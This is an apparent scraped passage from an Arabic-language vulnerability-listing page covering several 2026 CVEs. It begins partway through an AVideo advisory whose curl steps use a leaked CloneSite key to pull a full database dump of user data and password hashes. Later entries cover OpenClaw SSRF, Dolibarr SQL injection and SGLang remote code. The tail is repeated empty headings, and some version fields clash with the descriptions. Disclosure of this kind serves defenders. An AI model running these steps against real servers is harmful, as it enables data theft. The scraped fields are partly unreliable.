'https://remote-server.example.com/plugin/CloneSite/cloneServer.json.php?url=https%3A%2F%2Fvictim.example.com%2F&key=3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c&useRsync=0' ``` Response (truncated): ```json {"error":false,"url":"https://victim.example.com/","key":"...","videosDir":"...","sqlFile":"Clone_mysqlDump_65f3a2b14c7e8.sql","videoFiles":[...],"photoFiles":[...]} ``` **Step 3 — download the full database dump from the remote's public `videos/` directory:** ```bash curl -O 'https://remote-server.example.com/videos/clones/Clone_mysqlDump_65f3a2b14c7e8.sql' ``` This file contains every table except `CachesInDB` — `users` (including password hashes), payment records, API secrets, plugin configuration, etc. ## Impact - Any unauthenticated attacker can retrieve the CloneSite shared secret (`myKey`) of any AVideo installation that has the plugin enabled. `myKey` is static and never rotates on its own. - When that installation is federated with a remote CloneSite server (the standard use of the plugin), the leaked key permits the attacker to impersonate the victim client to the remote. `cloneServer.json.php` on the remote performs no additional authentication, runs an unconditional `mysqldump`, and places the result under the web-accessible `videos/clones/` directory — so a single leaked `myKey` leads to a full database dump (users, password hashes, payment and plugin configuration, API credentials) of the remote partner, downloadable over HTTP. - The compromise crosses the federation boundary: leaking the key on site A yields the database of site B. This is scope-changing in practice even if CVSS scope is formally `Unchanged`. - The `clones.json.php` hardening (the previously reported CWE-306 fix) does not cover this path; `cloneClient.json.php` is a distinct file that exposes a structurally different credential. ## Recommended Fix Do not echo the expected key in the rejection message, and reject non-CLI / non-admin callers cleanly. Example patch for `plugin/CloneSite/cloneClient.json.php:51-60`: ```php // Only accept the key argument from actual CLI invocations (intended usage: // cron "php .../cloneClient.json.php <myKey>"). Over HTTP, require admin. $cliKey = (PHP_SAPI === 'cli' && !empty($argv[1])) ? preg_replace("/[^A-Za-z0-9 ]/", '', $argv[1]) : ''; if (empty($objClone) || empty($cliKey) || $objClone->myKey !== $cliKey) { if (!User::isAdmin()) { $resp->msg = "You can't do this"; $log->add("Clone: {$resp->msg}"); // Do NOT echo $objClone->myKey — it is a shared secret used to // authenticate to the configured remote clone server. die(json_encode($resp)); } } ``` Additional hardening recommended: - Replace the static `myKey = md5(systemRootPath . salt)` with a randomly generated, per-installation key stored in the plugin configuration that can be rotated (see similar advice from GHSA-wqcc-qf63-c2x4 / CWE-331 on AVideo secret generation). - On the remote side (`cloneServer.json.php`), consider requiring the `sqlFile` path to be unguessable (already is, via `uniqid()`) AND gating the dump behind an IP allowlist or an additional pre-shared rotating token, so that loss of a client's `myKey` does not immediately yield a full database dump. - Serve `videos/clones/` with an `.htaccess`/nginx rule that denies direct HTTP access, so that even if a rogue client is authenticated, the dump is not downloadable over the web.

الإصدارات المتأثرة

10.4, 10.8, 11, 11.1, 11.1.1

نوع الثغرة

CWE-209 — Info Disclosure

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

المراجع

https://github.com/WWBN/AVideo/security/advisories/GHSA-qm9p-p5pw-jrx2
https://github.com/WWBN/AVideo/commit/e6566f56a28f4556b2a0a09d03717a719dcb49da
https://github.com/WWBN/AVideo

⚪ CVE-2026-41417

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

المراجع

https://github.com/openclaw/openclaw/commit/604777e4414cc3b2ff8861f18f4fb04374c702c6
https://github.com/openclaw/openclaw/security/advisories/GHSA-66r7-m7xm-v49h
https://www.vulncheck.com/advisories/openclaw-arbitrary-local-file-read-via-qqbot-media-tags

🟠 CVE-2026-43526

8.2/10 عالية

📦 openclaw 🏢 openclaw 📌 2026.4.12 🎬 وسائط 🟨 مكتبة JavaScript npm ⚡ SSRF 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع

💬 ## Summary QQBot reply media URL handling could trigger SSRF and re-upload fetched bytes. ## Affected Packages / Versions - Package: `openclaw` - Ecosystem: npm - Affected versions: `< 2026.4.12` - Patched versions: `>= 2026.4.12` ## Impact QQBot reply media URLs could be tr...

📅 2026-05-05 NVD 🔗 التفاصيل

الوصف الكامل

## Summary QQBot reply media URL handling could trigger SSRF and re-upload fetched bytes. ## Affected Packages / Versions - Package: `openclaw` - Ecosystem: npm - Affected versions: `< 2026.4.12` - Patched versions: `>= 2026.4.12` ## Impact QQBot reply media URLs could be treated as trusted media sources, allowing SSRF fetches whose returned bytes were then re-uploaded through the channel. ## Technical Details The fix routes QQBot remote media fetches through SSRF-guarded media fetching and explicit URL allowlist policy. ## Fix The issue was fixed in #63495 and #65788. The first stable tag containing the fix is `v2026.4.12`, and `openclaw@2026.4.14` includes the fix. ## Fix Commit(s) - `08ae021d1f4f02e0ca5fd8a3b9659291c1ecf95a` - `ddb7a8dd80b8d5dd04aafa44ce7a4354b568bb2d` - PR: #63495, #65788 ## Release Process Note Users should upgrade to `openclaw` 2026.4.12 or newer. The latest npm release, `2026.4.14`, already includes the fix. ## Credits Thanks to @threalwinky for reporting this issue.

الإصدارات المتأثرة

2026.4.12

نوع الثغرة

CWE-918 — SSRF

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

المراجع

https://github.com/openclaw/openclaw/commit/08ae021d1f4f02e0ca5fd8a3b9659291c1ecf95a
https://github.com/openclaw/openclaw/commit/ddb7a8dd80b8d5dd04aafa44ce7a4354b568bb2d
https://github.com/openclaw/openclaw/security/advisories/GHSA-2767-2q9v-9326
https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-via-qqbot-reply-media-url-handling

🟠 CVE-2026-42438

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

المراجع

https://gist.github.com/Shaon-Xis/d6ae069fc54f006457b68a91d5a8e158
https://vuldb.com/submit/801794
https://vuldb.com/vuln/360859
https://vuldb.com/vuln/360859/cti

🟡 CVE-2026-7688

5/10 متوسطة

📦 ERP CRM 🏢 Dolibarr 📌 10.0.0, 10.0.1, 10.0.2, 10.0.3, 10.0.4 🎬 وسائط 🐘 مكتبة PHP Packagist ⚡ Injection 🎯 عن بعد ⚪ لم تُستغل

💬 A vulnerability was identified in Dolibarr ERP CRM up to 23.0.2. This affects the function _checkValForAPI of the file htdocs/expedition/class/expedition.class.php of the component Shipments API Endpoint. The manipulation of the argument fields leads to sql injection. The attack ...

📅 2026-05-03 NVD 🔗 التفاصيل

الوصف الكامل

A vulnerability was identified in Dolibarr ERP CRM up to 23.0.2. This affects the function _checkValForAPI of the file htdocs/expedition/class/expedition.class.php of the component Shipments API Endpoint. The manipulation of the argument fields leads to sql injection. The attack is possible to be carried out remotely. A high degree of complexity is needed for the attack. It is indicated that the exploitability is difficult. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

الإصدارات المتأثرة

10.0.0, 10.0.1, 10.0.2, 10.0.3, 10.0.4

نوع الثغرة

CWE-74 — Injection

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

المراجع

https://vuldb.com/submit/799337
https://vuldb.com/vuln/360858
https://vuldb.com/vuln/360858/cti

🟡 CVE-2026-7669

5.6/10 متوسطة

📦 sglang 📌 All versions < 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14 🎬 وسائط 🐍 مكتبة Python PyPI ⚡ Input Validation 🎯 عن بعد ⚪ لم تُستغل

💬 A vulnerability was detected in sgl-project SGLang up to 0.5.9. Impacted is the function get_tokenizer of the file python/sglang/srt/utils/hf_transformers_utils.py of the component HuggingFace Transformer Handler. The manipulation of the argument trust_remote_code with the input ...

📅 2026-05-02 NVD 🔗 التفاصيل

الوصف الكامل

A vulnerability was detected in sgl-project SGLang up to 0.5.9. Impacted is the function get_tokenizer of the file python/sglang/srt/utils/hf_transformers_utils.py of the component HuggingFace Transformer Handler. The manipulation of the argument trust_remote_code with the input False as part of Boolean results in code injection. The attack can be executed remotely. A high complexity level is associated with this attack. The exploitability is considered difficult. In get_tokenizer(), when the caller passes trust_remote_code=False and HuggingFace transformers v5 returns a TokenizersBackend instance (the generic fallback for tokenizer classes not in the registry), SGLang silently re-invokes AutoTokenizer.from_pretrained with trust_remote_code=True, overriding the caller's explicit security setting. A model repository containing a malicious tokenizer.py referenced via auto_map in tokenizer_config.json will execute arbitrary Python in the SGLang process during this second call. No log line or warning is emitted. The override affects all current SGLang versions because transformers==5.3.0 is pinned in pyproject.toml. Both tokenizer_mode="auto" and tokenizer_mode="slow" are affected. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

الإصدارات المتأثرة

All versions < 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14

نوع الثغرة

CWE-20 — Input Validation

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

المراجع

https://vuldb.com/submit/799263
https://vuldb.com/vuln/360817
https://vuldb.com/vuln/360817/cti

🟡 CVE-2026-6529

5.5/10 متوسطة

📦 wireshark 🏢 wireshark 📌 4.4.0 - 4.4.14 🎬 وسائط ⚡ CWE-122 🎯 محلي ⚪ لم تُستغل

💬 iLBC audio codec crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

📅 2026-04-30 NVD 🔗 التفاصيل

الوصف الكامل

iLBC audio codec crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

الإصدارات المتأثرة

4.4.0 - 4.4.14

نوع الثغرة

CWE-122 — CWE-122

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

المراجع

https://gitlab.com/wireshark/wireshark/-/work_items/21145
https://www.wireshark.org/security/wnpa-sec-2026-32.html

🟡 CVE-2026-6526

CWE-73 — CWE-73

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

المراجع

https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5
https://github.com/openclaw/openclaw/security/advisories/GHSA-qqq7-4hxc-x63c
https://www.vulncheck.com/advisories/openclaw-local-file-exfiltration-via-shared-reply-media-paths

🟠 CVE-2026-41914

8.5/10 عالية

📦 openclaw 🏢 openclaw 📌 2026.4.8 🎬 وسائط 🟨 مكتبة JavaScript npm ⚡ SSRF 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع

💬 ## Impact QQ Bot Extension: Missing SSRF Protection on All Media Fetch Paths. QQ Bot media download paths were not consistently routed through the SSRF guard and allowlist policy. OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust mode...

📅 2026-04-28 NVD 🔗 التفاصيل

الوصف الكامل

## Impact QQ Bot Extension: Missing SSRF Protection on All Media Fetch Paths. QQ Bot media download paths were not consistently routed through the SSRF guard and allowlist policy. OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary. ## Affected Packages / Versions - Package: `openclaw` (npm) - Affected versions: `<= 2026.4.2` - Patched versions: `2026.4.8` ## Fix The issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`. ## Verification The fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary. ## Credits Thanks @adithyan-ak for reporting.

الإصدارات المتأثرة

2026.4.8

نوع الثغرة

CWE-918 — SSRF

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

المراجع

https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5
https://github.com/openclaw/openclaw/security/advisories/GHSA-3fv3-6p2v-gxwj
https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-in-qq-bot-media-fetch-paths

🟡 CVE-2026-41366

https://github.com/HBAI-Ltd/Toonflow-app/
https://github.com/HBAI-Ltd/Toonflow-app/issues/96
https://github.com/HBAI-Ltd/Toonflow-app/issues/96#issuecomment-4208193927
https://vuldb.com/submit/799583
https://vuldb.com/vuln/359660
https://vuldb.com/vuln/359660/cti

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة

CVSS Vector

المراجع

📊 إحصائيات المشروع

الوصف الكامل

الإصدارات المتأثرة

نوع الثغرة